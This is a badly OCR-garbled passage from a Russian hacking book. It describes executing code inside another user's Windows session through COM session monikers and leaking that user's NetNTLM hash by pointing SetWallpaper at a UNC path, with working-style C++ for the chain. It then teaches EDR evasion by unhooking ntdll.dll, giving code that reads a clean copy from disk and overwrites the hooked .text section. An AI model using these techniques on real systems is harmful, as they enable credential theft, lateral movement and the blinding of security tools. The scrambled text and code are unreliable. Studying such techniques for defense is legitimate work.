S[_
~
~
~;;
DACL
Flogs: None
ACL Entries
Туре
ru=:
с:
-~
-
Account
Flcgs
Access
N1' AIIТНORfТ"'5ELF
GenericAI
None
N1' АUТНОIП'/'СИСТЕМА l:8c:ulo, - . - None
ВUL-•
;
~
'
'
~
SpecificAccess
Nome
Att.e ...
;
-
.
Рис.
16.11. Дефолтные
права на процесс
Глава
16.
Как работает кража сессии через механизм СОМ
301
начали их ресерчить, то практически сразу же появился эксплойт
RedTeambro/306),
(bttps://t.me/
позволяющий запустить определенный объект внуrри чужой
сессии, 'ПО приводило к повышению привилегий. Фикс заключался в добав
лении проверки на уровень целостности перед обращением к объеКl)'. Если
к объеКl)' в чужой сессии пытаются обратиться из процесса со средним уровнем
целостности, доступ блокируется.
Запуск процесса в чужой сессии
Итак, предлагаю обратmъся к эксплойту IНхЕхес
Research/DlxExec/tree/maio ).
(bttps://gitbub.com/CICADA8-
Он позволяет запустить исполняемый файл внуrри
чужой сессии. Существует также реализация на С# и
ищите ее на
PowerShell,
GitHub (bttps://gitbub.com/Leo4j/~iooExec ).
о
Н.кkrr
У-~
~-
-
Ptocuм,
tc:юtt
~1,
00рьс,n,
$8мсм
. ,........... O<DU.s
~ Х
Uиr ~
O.scription
21, 14
М8
W!МPC \ Mi c hae\
F'irefo11
fiгefo•.•••
17896
17 ,2 ~
М8
WINPC \ Mi chae \
Firefo•
PID
csrss.e••
.., 8' .-in\01on.e•e
fontdrvhost ·•••
• ctr.. .•••
.еае
v ■ NVIOIA Wt!b К.\~r.еае
8 conhost.e••
v ~ еар\оrег · •••
Rt kAudUServ i се64. •••
(i)~vpn-p,i.•••
..,o8S~••.•••
1
-
217&,4
• • Peгfit.Jts.on2 ·•••
1
S-,,,,,,,lnlonno-
. . . . . . o.k
fir•fo•.•••
fi1 LOJonUI
(PU
.....
1/0 tot~l
г•t•
Pr iv•t•
Ь ...
87 , :! 3 МВ WINPC \ Mi chвel
7524
2,24
8, 11
lЯП
:1<6"
8,1S
19688
76,76 k8/S
19-821
&,16
19861
NT
АUТНОRIТV \ ОКТЕМА
2 ,61 МВ NT АUТноtt11У \ СМСТЕМА
....
5792
13336
МВ
1,97
М8
Font Oriver
8 1 , 11
МВ
Window
]2,S7
М8
NT
Нost \ UМFD-2
М.na1er \ eмt - 2
АUТНОАJТУ \ ОКТЕМА
PerfW•tson2 . exe
Проrр-.• •~.од• •
,Амсмrчер ()f(ОМ
w-indows tocon
WINPC.\user
NVIDJA
6,22
МВ
W1NPC \use r
Х.ос т
179 , 2)
МВ
WlNPC \ user
2, es мв W1MPC \ us•r
21776
2, 16
МВ
WINPC \user
НО
Audio Un;versal S.rvice
Mi crosoft EdJ•
МВ
WIIIIPC \user
2 ,87
МВ
WINP<\user
Microsoft td1e
O -s.d1•-• ••
11176
ЗS,18 МВ
WINPC \user
Mi crosoft
Еdк•
ased&• · ···
23492
18,4S
WINPC \user
M iaoюft
[dge
Cl'UUAgt:USS
,:.
~
•
MD.
6 31 818
S@rvice
Проеодн11к
Rea\tek
48,22
,.,..
С1'~а
lnterfкe Нost
ко..соnм
2)168
: -\с--
Uиr
- c~
Нost
p-6crtero
~Ь К.lper
сжм•
23184
МВ
кn.... r
смете.у Windows
User80de Font Oriwer
ЗS,69 М8
16888
..c.nonм~•
Процесс
O •s.d1•.e••
-
х
~р
•~~••- •
WIIIPC.\wиr
,
~m,,no,y:11ДG8(3S.)IS)
-m,s:216
Рис.
16.12.
Пример использования зксплойта
Часть
302
11.
Системное программирование для хакеров
Оба варианта злоупотребляют сессионными моникерами для исполнения кода.
Если у нас есть права локального администратора (или привилегия
SeDebug),
то
таким образом удается выполнить код в сессиях другого пользователя. Однако на
старых системах, которые не обновлялись с
2017
года, такой трюк пройдет и от ли
ца низкопривилегированного пользователя. Подробный анализ работы эксплойта
есть на Medium: https://cicada-8.medium.com/process-injection-is-dead-long-liveihxhelppaneserver-af8f20431 b5d.
Если
вкратце, то идет использование двух недокументированных СОМ-интер
фейсов, к которым обращаются и при инстанцировании сессионных моникеров:
IStandardActivator
(https://github.com/CICADA8-Research/lНxExec/bloЬ/main/
Code/lНxExec/lНxExec/lНxExec.cpp#L94)
и
ISpecialSystemProperties
(https://
github.com/CICADA8-Research/lНxExec/ЫoЬ/main/Code/lHxExec/lНxExec/IНx
Exec.cpp#L104).
ный
метод
Первый нужен для активации объектов, а у второго есть интерес
setSessionid ()
(https://github.com/CICADA8-Research/lНxExec/ЫoЫ
main/Code/lНxExec/lНxExec/lНxExec.cpp#Ll l2) для установки целевой сессии,
внутри которой требуется запустить СОМ-объект (рис.
16.12).
Видим, что эксплойт успешно инстанцирует необходимый СОМ-объект, и мы по
лучаем возможность запуска произвольного файла внутри чужой сессии.
Утечка хеша пароля при смене обоев
Другой эксплойт также основан на злоупотреблении сессионными моникерами,
но теперь инстанцируемый СОМ-объект позволяет не запустить процесс, а сме
нить обои. Казалось бы, где тут уязвимость? Но стоит вспомнить статью Элада
Шамира
(https://shenaniganslabs.io/2019/08/08/Lock-Screen-LPE.html),
в которой
NetNТLM-xeш компьютера извлекали через функцию изменения обоев. Я подумал:
а что, если инстанцировать интерактивный СОМ-объект внутри чужой сессии, за
тем вызвать метод смены обоев и указать
UNC Path для
получения NetNТLM-xeшa?
Идея долго не давала мне спать, и однажды, когда в блоге
decoder.cloud/2024/08/02/the-fake-potato/)
лось обнаружить подобный СОМ-объект (рис.
v
16.13 ).
cLSIDs 1
Filler: j C2CFЗ 110-460E-4FC1-B9D0-8A 1COC9CC4BD
8 ·4\j c2cf3110-460e-4fc1-b9d0-Ba1c0c9cc4bd - Desktop Wallpaper
!· ..-<> IClassFactory
IDesktopWallpaper
1
!....-<, IDesktopWallpaperPrivate
'.... - I~larshal
1
1 ·-<> IPers~s t
i.... --o, IPersistStream
1.... ,о.(1 IUnknown
.... Factory Interfaces
"°"
Рис.
16.13.
decoder.cloud (https://
вышла одна подсказка, у меня получи
Обнаруженный объект
Глава
16.
Как работает кража сессии через механизм СОМ
303
объекта был интерфейс IDesktopWallpaper (https://learn.microsoft.com/en-us/
windows/win32/api/shobjidl_core/nn-shobjidl_core-idesktopwallpaper) с подходя
У
щим по логике методом SetWallpaper 11 (https:/Лearn.microsoft.com/ru-ru/windows/
win32/a pi/shobj idl _ core/nf-sho bj idl _ core-idesktopwall ра per-setwall paper).
HRESULT SetWallpaper(
[in] LPCWSTR rnonitorID,
[in] LPCWSTR wallpaper
);
Первым
аргументом следует передавать идентификатор монитора, на который
устанавливаются обои, вторым
-
путь к обоям. Собственно, указание
UNC Path
во
втором аргументе приведет к утечке NetNТLM-xeшa. Однако откуда получить
идентификатор монитора?
Сам
MSDN
нам
любезно
GetMoni torDevicePathAt 11
подсказывает,
что
можно
воспользоваться
методом
(https:/Лearn.microsoft.com/ru-ru/windows/desktop/api/
shobj idl _ core/nf-sho bj idl_core-idesktopwallpa per-getmonitordevicepathat ),
этот
метод, в свою очередь, требует для вызова параметр rnonitorindex, который можно
(https://learn.microsoft.com/ru-ru/
GetMoni torDevicePathCount 1)
через
получить
windows/desktop/api/shobj idl _ core/nf-sho Ьjidl_core-idesktopwallpapergetmonitordevicepathcount).
Так выстраивается цепочка-киллчейн:
□ GetMonitorDevicePathC01JПt([out]
int а);
□
GetMonitorDevicePathAt ( [in] а, [out] index):
□
SetWallpaper 1[in] index, [ш] UNCPath).
При этом для утечки NetNТLM-xeшa нужного пользователя следует инстанциро
вать СОМ-класс по управлению обоями внутри чужой сессии. Это делается с по
мощью функции CoCreateinstancelnSession ().
HRESULT CoCreateinstancelnSession(DWORD session, REFCLSID rclsid, REFIID riid, void** ppv) {
BIND_OPTSЗ Ьо = { };
WCНAR wszCLSID[S0];
WCНAR wszMonikerNarne[З00];
StringFrornGUID2(rclsid, wszCLSID, countof(wszCLSID));
StringCchPrintf(wszMonikerNarne, countof(wszMon1kerNarne),
L"session:%d 1 new:ss", session, wszCLSID);
bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX LOCAL SERVER;
return CoGetObject(wszMonikerNarne, &Ьо, riid, ppv);
IDesktopWallpaper* pDesktopWallpaper = nullptr;
hr = CoCreateinstanceinSession(sess1on, clsidShellWindows, iidIShellWindows,
(void**)&pDesktopWallpaper);
Часть
304
11.
Системное программирование дпя хакеров
if (FAILED(hr))
std::wcerr << L"CoCreatelnstancelnSession failed with error: "<< hr << std::endl;
CoOninitialize();
return 1;
После успешного инстанцирования
(рис.
OINТ
hr
можно обращаться к методам СОМ-класса
16.14).
monitorCount;
= pDesktopWallpaper->GetМonitorDevicePathCount(ыnonitorCount);
if (FAILED(hr)) 1
std: :wсеп « L"GetМonitorDevicePathCount failed with error: " « hr « std: :endl;
pDesktopWallpaper->Release();
CoOninitialize();
return 1;
for
(UINТ
LPWSТR
i = О; i < пюnitorCount; i++) 1
monitorld;
hr = pDesktopWallpaper->GetМonitorDevicePathAt(i, &monitorld);
if (FAILED(hr)) 1
std::wcerr << L"GetМonitorDevicePathAt failed with error: "<< hr << std::endl;
continue;
hr = pDesktopWallpaper->SetWallpaper(пюnitorid, imagePath);
std::wcout << L"[+] Check Responder" << std::endl;
CoTaskМemFree(пюnitorld);
Рис.
16.14.
Успешная утечка хеша
Таким образом, если получается провернуть утечку хеша, то можно пойти дальше и
применить Rе\ау-атаку. О них журнал «Хакер)) уже писал в статье «Гид по
Relay)) (часть 1: https://xakep.ru/2023/04/07/ntlm-relay-guide/,
xakep.ru/2023/04/1 l/ntlm-relay-guide-2/).
часть
NTLM
2: https://
Заключение
Вновь плохо документированные возможности
Windows
позволяют атакующим
проводить интересные и красивые атаки. Самое сложное- найти ту иголку в стоге
сена, которая позволит раскрутить всё до полноценного эксплойта!
ЧАСТЬ
111
Способы обхода
средств защиты инсрормации
Глава
17.
Познаем анхукинг
Глава
18.
Изучаем методы предотвращения подгрузки
Глава
19.
Ищем в
Глава
20.
Используем хардверные брейк-пойнты в пентестерских целях
Глава
21.
Изу4аем новый способ обхода
Глава
22.
Замена для
Глава
23.
Обфусцируем вызовы
Windows
ntdll.dll
DLL
лазейки для исполнения стороннего кода
WinAPI.
AMSI
в
Windows
Пишем раннер для шелл-кода на чистом
WinAPI
новыми способами
.NET
ГЛАВА
17
Познаем анхукинг
Средства защиты, в частности
инструкция,
EDR,
позволяет
которая
ntdll .dll
любят ставить хуки. Хук
перехватить
поток
-
управления
это специальная
программы
при
вызове определенной функции и в результате контролировать, отслеживать и из
менять данные, переданные этой функции. В этой главе я покажу, как проводить
обратный процесс
анхукинг.
-
Подробнее про хуки вы можете узнать из статей «Волшебные хуки. Как перехваты
вать управление любой программой через
WinAPI» (https://xakep.ru/2018/01/26/
winapi-hooks/)» и «Мелкомягкие хуки: Microsoft Detours - честное средство для
настоящего хакера» (https://xakep.ru/2011/07 /11/55795/)».
Анхукинг позволяет снять хук, который был установлен средством защиты. Опре
делить наличие хука несложно. Наглядный пример того, как он может выглядеть,
показан на рис.
17 .1.
EDR поставил хук на NtAllocateVirtualMemory 11. Эта функция будет последней
User Mode, она вызывается лишь для инициализации системного вызова и выде
Здесь
в
ления памяти путем обращения к ядру. В стоковой конфигурации, когда хука нет,
никаких безусловных jmр-переходов быть не должно. Тут мы видим иную ситуа
цию: переход как раз таки есть, поток управления отдается непонятно кому и непо
нятно куда. Поэтому нам, как атакующим, да и просто чтобы уклониться от обна
ружения,
нужна операция
анхукинга,
которая
снимет этот хук,
и,
как следствие,
средство защиты потеряет контроль над потоком выполнения программы.
Отмечу лишь, что подобный способ обхода хуков
например, совершать
Direct-
-
один из множества. Можно,
и Indirect-cиcкoлы, но стоит помнить, что получится
User Mode. Если средство защиты применяет
SSDT Hooking), то подобные методы окажутся беспо
обойти только хуки, которые стоят в
хуки
Kemel Mode
(например,
лезны. На будущее:
SSDT -
это специальная таблица, благодаря которой сопос
тавляются сискол и действие ядра
Windows.
Есть, конечно,
Kernel Patcl1 Protection,
который мешает устанавливать подобные хуки, но это уже совсем другая история.
В главе я рассмотрю наиболее популярные способы снятия хуков, от простого
к сложному.
Часть
308
1/1.
Способы обхода q,едств защиты информации
t:eea>J х ntdUINtAlloc•t"virtua~
~~~~~1i~locatt!Vinшllм-ory (NtAllocat:t!Virt\lalм-ory)
t.eea>~:eeoez.!!! ~4d3~- EDRUsennodeНoolt
ntdll lNtAl
ativirtua1"1!8C>ry :
88887fl'8" 16c4d3Ь8 4с8Ьd1
18, rcx
88887ff8' 16с4d3ЬЗ "
788
ntdll lQuerytlqi.stryVal..-4c.3 ( 88887ff8"16сса7с7)
eeee7ff8 " 16c4d3Ь8 f6842588e3fe7fe1 test
Ьуtе ptr [Sha.redUserOau+ex388 (eeeeeeee"7ff.e388)],1
88887ff8"16c4d3c8 7583
j n•
ntdll l NtAllocatt!Virt~+exi5 ( 88887ff8" 16c4d3c5)
88887ff8' 16c4d3c2 efe5
s yscall
88887ff8" 16c4d3c4 с3
~t
eeee7fl'8. 16c4d3c5 cdlt!
int
2Eh
88887ffa· 16c4d3c7 сЗ
~t
The figuR shows lha! lhe installed EDR uses inline hooking to hoolt lhe Nalive АР1 NIAlocaМnualМem
8: 888>
ntdll lNtAlloca,t•Virtua~
88887ffe • 86a4d3bll ntdll 1 NtAllocateVirtш1"1!8C>ry (NtAUocateVirtualН88:>ry)
е: 888> (u ,eet87ffJ:. (&i:Qзiif
ntdll l NtдllocateVtrt:uaJ.Нмory :
~
№EDRНoolt
)
88887ffe • 8684d3Ь& ~~~i
~
г~~
•
eeee7fft!' 8k4d3b3laeeeee8
. ; : : : ш)~!
eee&7ffe " 86a4d3Ы f6&42588&3fe7fe1 test
byt:ep r (Shar edUserOat~x388 ( eeeeeee&" 7ffe&388 ) ],
ееее1н., • 86a4d3c& 7583
j ne
ntdl l l NtAllocatevirtuaU...Ory+exts ( 88887ff., • 86a4d3c5)
eeee7ffe" 86a4d3c2 efe5
syscall
88887ffe"86a4d3c4 сЗ
l'ltt:
eeee7fft! • 86a4d3cS cd:2e
i nt
2Eh
eee&7ffe"86a4d3c7 сЗ
The figure shows а dean not hooked Nalive АР1
Рмс.
17.1.
Пример хука
Снятие хука через чтение библиотеки с диска
Этот метод можно считать одним из самых простых. Он основан на том, что биб
лиотека ntdll. dll подгружается в память так же, как находится на диске. Причем
хуки установлены непосредственно в памяти, на диске образ девственно чист.
Поэтому мы должны будем лишь считать библиотеку с диска, достать из нее
РЕ-секцию
. text
(в ней находится код), а после перезаписать секцию
библиотеки секцией, считанной с диска (рис .
. text
хукнутой
17 .2).
Мы будем использовать функции ReadFile () и MapViewOfFile (), и
EDR
может отслежи
вать их, поэтому есть риск, что наша ntdll.dll, загруженная с диска, будет изменена
Рмс.
17.2. Алгоритм
снятия хука
Глава
17.
Познаем анхукинг
309
ntdll.d/1
при попытке подгрузить ее содержимое в программу. Поэтому придется исполь
зовать иной способ снятия хука, например тащить ntdll. dll с некоего удаленного
сервера.
Этот алгоритм
реализуем
позже.
За идею большое
спасибо Ральфу
(https://bhv.ru/product/active-directory-glazami-hakera/).
Итак, сначала нужно считать содержимое библиотеки ntdll. dll. Начнем со стан
дартной функции ReadFile (). По умолчанию ntdll. dll лежит в системной папке
\Windows\System32. Предлагаю создать функцию, которая будет возвращать буфер
с содержимым ntdll. dll.
Jtdefine NTDLL "NTDLL.D11"
В001
ReadNtdJlFromDisk (OUT PVOID* ppNtdllBuf)
СНАR cWinPath[МAX_PATH
/ 2]
=
СНАR cNtdllPath[МAX_PATH]
О
);
О);
hFile = NULL;
DWORD dwNumЬerOfBytesRead = NULL, dwFileLen = NULL;
PVOID pNtdllBuffer = NULL;
НANDLE
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == О) {
printf("[ !] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());
goto EndOfFunc;
sprintf s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);
hFile = CreateFileA(cNtdllPath, GENERIC_READ,
FILE_SНARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORМAL,
if (hFile == INVALID_НANDLE_VALUE) {
printf (" [ ! ] CreateFileA Failed With Error
goto EndOfFunc;
NULL);
%d \n", GetLastError ());
dwFileLen = GetFileSize(hFile, NULL);
pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);
if (!ReadFile(hFile, pNtdllBuffer, dwFileLen,
&dwNumЬerOfBytesRead,
NULL)
11
dwFileLen !=
dwNumЬerOfBytesRead)
printf("[ !] ReadFile Failed With Error : %d \n", GetLastError() );
printf("[i] Read %d of %d Bytes \n", dwNumЬerOfBytesRead, dwFileLen);
goto EndOfFunc;
*ppNtdllBuf = pNtdllBuffer;
EndOfFunc:
if (hFile)
CloseHandle(hFile);
Часть
310
if (*ppNtdllBuf
return FALSE;
else
return TRUE;
==
111.
Способы обхода средств защиты информации
NULL)
Остается проверить, что наш код верно работает. Если вы пишете в
то открывайте пункт «Отладка
-
Visual Studio,
Параметры» и ставьте две галочки, чтобы мож
но было видеть содержимое памяти (рис.
17.3).
р]
i Параме:тры пои ска (CТRL+E}
,.
~ Систем~ уnраапен:ке1 аерскями
А От/\ОДIС•
ij'вi7rючи,ь ОТАад!\У на уровне адреи
По,пывать А11»сеем6лироеанныА КОА. =и ИО<одны>\ код недостуn,
12] 81С11оочить фllllьтры т~• осrаноаа
ГорячаА nервоrру,ко .NЕТ / С+< I Ч
Горячая nерваrру,ко
0
XAML
Исnоль.юеа,ь ноеое acnoмorareJ1ьнoe прИJЮжение по о6ра6оке ИCIC/ltc
G2) 81С111ОЧИТЬ ТОJ\ЬКО МОИ l<OA
Окно1ы1ода
0
ВЫ80А11ТЬ nредуnреJЦеиие, =11 ПОJ\ЫIО88ТеJIЬСКИА КОД ОТ()'ТСТ8)'е1' ni
О Оn<,ючать JIТ-оmмм..,.цию при "''РУ'ке модуля (только уnраепяемый
О Эаnрет11ть исnо.,,~,,оt,1н>W1 :@pai;ee ОФмnипироеанных обраэое nри ,ar1
О Ра,реwкть w1rи а ж:жодном ко;~е .NЕТ framework
0 Обхо4 ceoi'lcтe и операторое (tOJ\Ы<.O уnраемемыА коА)
0 Вкпючкть еычиСАеиие сеойсте и друn;е неяеные еы,оаы фунщиА
0 Выю, фу>t.ции string-con\Ц!rsion дм объ«tое а окнах переменных
Символы
~ Средств• nроМ3■ одмтvtьностм
~ СМаkе
~
л
О Прерыеать аыnоАнение, коrда исlС/lючения nepeceкal01 rраницу домена
~
JIT
~
-
Общие
01аnраw1111<1Ть nо,IIТеерждение перед удалением асех tQ\le( останова
0 Прерывать асе процессы при nрерыаани11 o;iнoro
~ Тексто11ы.М р,wктор
~
х
?
П•р•метры
F#Tools
lntelliCode
Live Sh4re
~ Адаmер теста A/U1
Goog~ Test
~ д,..rнопик• rрафики
<
>
.
. < 1Вt/О~ИJ.ь no~D'!P<Y сео~системы vnоамения аереиями
ок
1
>
11
"
Отмен•
1
.:!
Рис.
17.3.
Включение показа содержимого памяти
После чего переходите по пути «Отлад ка
-
Окна
-
Память» и сможете увидеть
содержимое памяти текущего отлаживаемого процесса (рис.
Остается
лишь
убедиться,
что
по
адресу,
который
17.4).
занесется
ppNtdllBuf, лежат верные значения. Так как библиотека ntdll.dll -
в
переменную
РЕ-файл, то пер
вые байты должны быть равны МZ. Это так называемая сигнатура, благодаря кото
рой можно убедиться, что мы получили правильный адрес (рис.
17.5).
Выходит, наша
иной
API -
ntdll.dll успешно прочитана с диска. Можно также использовать и
CreateFileMapping () и MapViewOfFile (). Эти функции служат для отображе
ния файла в память. Разработчики часто применяют этот механизм, чтобы не пи
сать каждый раз информацию на диск, теряя в производительности программы, а
вместо этого записывать данные непосредственно
в память
и лишь
потом,
после
нескольких записей подряд, сохранять их на диск. Функция для получения содер
жимого ntdll. dll будет немногим отличаться от предыдущей.
#define NTDLL "NTDLL.DLL"
BOOL MapNtdllFromDisk(OUT PVOID* ppNtdllBuf) (
НANDLE hFile = NULL,
hSection = NULL;
Глава
17.
Познаем анхукинг
ntd/1.dll
311
s
10::
:i;
"'
с:
о::
s
:,:
ф
,Е
"'
\D
Q.
~
"'3
о
"'о
ф
s
:,:
ф
-:r
Q
~
a::i
~
........:
c,j
s
о.
312
Часть
111.
Способы обхода средств защиты информации
...s
а:
::Е
(U
с::
1D
е
о
::Е
~
а.
ф
8
а.
ь
::Е
u
о
а.
i:::::
1О
,-.:
c.i
s
D.
Глава
17.
СНАR
Познаем анхукинг
313
ntd/1.dll
cWinPath[МAX_PAТH
СНАR
/ 2] =
= {
pNtdllBuffer = NULL;
cNtdllPath[МAX_PATH]
РВУТЕ
О
О
);
);
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == О)
printf("[!] GetWindowsDirectoryA Failed With Error
%d \n", GetLastError());
goto _EndOfFunc;
sprintf s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);
hFile = CreateFileA(cNtdllPath, GENERIC_READ,
FILE_SНARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORМAL,
if (hFile == INVALID_НANDLE_VALUE) {
printf("[!] CreateFileA Failed With Error
goto _EndOfFunc;
NULL);
%d \n", GetLastError() );
hSection = CreateFileMappingA(hFile, NULL, PAGE READONLY
if (hSection == NULL) {
printf("[ !] CreateFileMappingA Failed With Error
goto _EndOfFunc;
NULL,
NULL, NULL);
SEC_IМAGE_NO_EXECUTE,
%d \n", GetLastError());
pNtdllBuffer = (PBYTE)MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
if (pNtdllBuffer == NULL) (
printf("[ 1 ] MapViewOfFile Failed With Error : %d \n", GetLastError());
goto _EndOfFunc;
*ppNtdllBuf = pNtdllBuffer;
EndOfFunc:
if (hFile)
CloseHandle(hFile);
i f ''3ection)
Handle (hSection);
if (*ppNtdllBuf == NULL)
returп FALSE;
else
return TRUE;
,
·, •0
Возможно, этот метод будет даже чуть более тихим, т. к. при таком маппинге
не срабатывает колбэк PsSetLoadimageNotifyRoutine (https://learn.microsoft.com/en-us/
windows-hardware/d rivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine), кото
рый может быть установлен антивирусным ПО. По крайней мере, так написано на
Часть
314
Рис .
17.6. Колбэк
111.
Способы обхода средств защиты информации
может быть установлен антивирусным ПО
(https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbasecreatefilemappinga, рис . 17 .6).
MSDN
Следующий шаг
-
получить адрес хукнутой ntdll. ctll . Она уже находится в адрес
ном пространстве нашего процесса. Предлагаю получить ее адрес из РЕВ. РЕВ
-
специальная структура данных, которая содержит информацию о текущем про
цессе.
typedef struct
РЕВ
ВУТЕ
ВУТЕ
ВУТЕ
PVOID
РРЕВ LDR DATA
PRTL USER PROCESS
PVOID
PVOID
PVOID
ULONG
PVOID
ULONG
ULONG
PVOID
PARAМETERS
Rese rvedl (2];
BeingDebugged;
Reserved2(1];
Reserved3(2];
Ldr ;
ProcessPararnet ers;
Reserved4[3] ;
Atl ThunkSListPtr;
P.eserved5 ;
Reservedб;
Reserved7;
Rese rved8;
AtlThunkS ListPtr32;
Reserved9 [ 45] ;
Reservedl О [96] ;
ВУТЕ
PPS POST PROCESS IN IT ROUTINE PostProcessinitRouti ne ;
Reservedll[l28];
ВУТЕ
Reservedl2[1];
PVOID
Sessionid;
ULONG
РЕВ ,
*Р РЕЕ;
Внутри этой структуры есть элемент Ldr, представляющий собой другую структуру,
РЕВ
LDR
DАТА.
typedef struct _PEБ_LDR _ DATA
Reservedl [8] ;
ВУ Т Е
Глава
17.
Познаем анхукинг
ntdl/.dll
315
PVOID
Reserved2[3];
LIST_ENTRY InМemoryOrderModuleList;
PEB_LDR_DATA, *PPEB_LDR_DATA;
Внутри PEB_LDR_DATA Называется она ыsт
еще одна структура (это предпоследняя матрешка, честно).
ENTRY.
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
1rsт _ENTRY можно считать этаким двусвязным списком. Через элемент
получить
доступ
к
следующему
элементу
двусвязного
списка,
а
Flink
через
можно
элемент
Вlink- к предьщущему. Каждый элемент этого двусвязного списка представлен
структурой
LDR_ТАВLЕ_ENTRY, которая содержит информацию о каждой DLL-библио
теке, загруженной в процесс.
typedef struct _LDR_DATA_TAВLE_ENTRY
PVOID Reservedl[2];
LIST_ENTRY InМemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID ReservedЗ;
UNICODE_STRING FullDllName;
ВУТЕ Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reservedб;
);
ULONG TimeDateStamp;
LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TAВLE_ENTRY;
Больше всего нас интересуют элементы
DllBase и FullDllName, у которых внутри базо
вый адрес загрузки библиотеки и ее имя соответственно. Поэтому предлагаю про
бежаться по этому списку, обнаружить элемент, у которого FullDllName равно
с:
\Windows\ \System32\ntdll .dll,
и вычленить его
#include <winternl.h>
#include <algorithm>
#include <string>
PVOID FetchLocalNtdllBaseAddress()
// Достаем ТЕВ (это как РЕВ, только для потока)
РТЕВ teb = static_cast<PTEB>(NtCurrentTeb());
DllBase
(рис.
17.7).
316
Часть
111.
Способы обхода средств защиты информации
s
"'
~
s
с::
1О
s
1О
>S
о
!;,
:z:
"'>,
><
~
Q)
а.
<t
ro
(1)
s
:z:
(1)
~
с::
о
i:::
Q)
о
:z:
3
(1)
i:::
u
>,..:
,..:
....
u
s
о.
Глава
//
17.
Познаем анхукинг
ntd/1.d/l
317
Из ТЕВ получаем РЕВ
РРЕВ реЬ = teЬ->ProcessEnvirorпnentBlock;
//
Голова списка
-
верхний элемент. Просто по нему будем отслеживать, пробежались ли NЫ
по
PLIST_ENТRY
//
listHead =
всему
списку или
нет
&peb->Ldr->InНemoryOrderМoduleList;
Следупций за головой элемент
PLIST_ENТRY
listEntry = listHead->Flink;
ULONG addr = ОХО;
while (listEntry != listHead)
ldrEntry
PLDR_DATA_TAВLE_ENТRY
= CONТAINING_RECORD(listEntry, LDR_DATA_TAВLE_ENТRY,
InМeпюryOrderLinks);
std::wstring dllName
ldrEntry->FullDllName.Buffer;
std::transform[dllName.Ьegin(), dllName.end(), dllName.begin(\, ::tolower);
=
if (dl1Name.find(L"c:\\windows\\system32\\ntdll.dll") != std::wstring::npos)
return ldrEntry->DllБase;
listEntry
=
listEntry->Flink;
return (PVOID)addr;
Осталось всего ничего
-
выIUiеняем адреса секций
. text
и заменяем одну секцию
другой! Причем опять есть два варианта получения этой секции. Можем пойти че
рез Optional Header (rМAGE_OPTIONAL_НEADER), внутри которого содержится RVA-aдpec
секции
. text, элемент вaseOfCode, либо через IМAGE_SECТION_НEADER, пытаясь обнаружить
. text.
секцию с именем
PIМAGE DOS НEADER
pLocalDosHdr
= (PIМAGE_ DOS_НEADER)pLocalNtdll;
if (pLocalDosHdr->e_rnagic 1 = IМAGE DOS SIGNATURE)
return FALSE;
PIМAGE NТ НEADERS
= (PIМAGE
pLocalNtHdrs
pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature 1= IМAGE NТ SIGNATURE)
return FALSE;
NТ НEADERS) ((PBYТE)pLocalNtdll
PVOID pLocalNtdllTxt
= (PVOID) (pLocalNtHdrs->OptionalHeader.BaseOfCode +
(ULONG_PTR)pLocalNtdll);
SIZE TsNtdllTxtSize
= pLocalNtHdrs->OptionalHeader.SizeOfCode;
□ pLocalNtdll -
базовый адрес ntdll. dll, полученный ранее;
□
pLocalNtdll Txt -
адрес секции
□
sNtdllTxtSize -
размер секции.
. text;
+
Часть
318
///.
Способы обхода средств защиты информации
Fetct1LocalNtdllBaseAddress () ;
pLocalDosHdr = (PIМAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr->e_rnagic != IМAGE DOS SIGNATURE)
return FALSE;
PVOI D pLocalNtdll
PIМAGE_DOS_HEADER
PIМAGE
NT HEADERS
pLocalNtHdrs =
if (pLocalNtHdrs->Signature 1=
return FALSE;
(PIМAGE_NT_HEADERS)
IМAGE_NT_SIGNATURE)
PIМAGE_SECTION_HEADER pSectionНeader
for (1nt i =
О;
i <
((PBYTE)pLocalNtdll +
pLocalDosHdr->e lfanew);
=
IМAGE_FIRST_SECTION(pLocalNtHdrs);
pLocalNtHdrs->FileHeader.NШ11ЬerOfSections;
i++) {
if( strcrnp{pSectionHeader[i]->Narne, ".text") == О) ) {
PVOID pLocalNtdllTxt = (PVOID) ({ULONG_PTR)pLocalNtdll +
pSectionHeader[i] .VirtualAddress);
SIZE Т sNtdllTxtSize = pSectionНeader[i] .Misc.VirtualSize;
break;
Причем во втором варианте мы могли бы избежать использования функции strcrnp
следующим условием:
if ( (* (ULONG*)pSectionHeader[1] .Narne I
Ох20202020)
==
'xet. ') {
Сначала выражение *(ULONG*) приводит к тому, что имя .text преобразуется в xet.,
т. к. младший байт будет прочитан первым и помещен в старшую позицию значе
ния ULONG, а самый старший байт будет прочитан последним и помещен последним.
Далее выполняется побитовое ИЛИ для выравнивания полученного значения по
32-битной границе. И наконец, происходит сравнение.
Остается лишь перезаписать одну секцию
. text
другой. Для этого можно использо
вать стандартный rnerncpy 1). Предлагаю также свести в отдельную функцию, которой
достаточно лишь передачи базового адреса нехукнутой ntdll.
В001
ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll
/*адрес нехукнутой
ntdll
в па.~ти*/1
(
// Базовый адрес загрузки хукнутой ntdll.dll
PVOID pLocalNtdll;
pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
dos
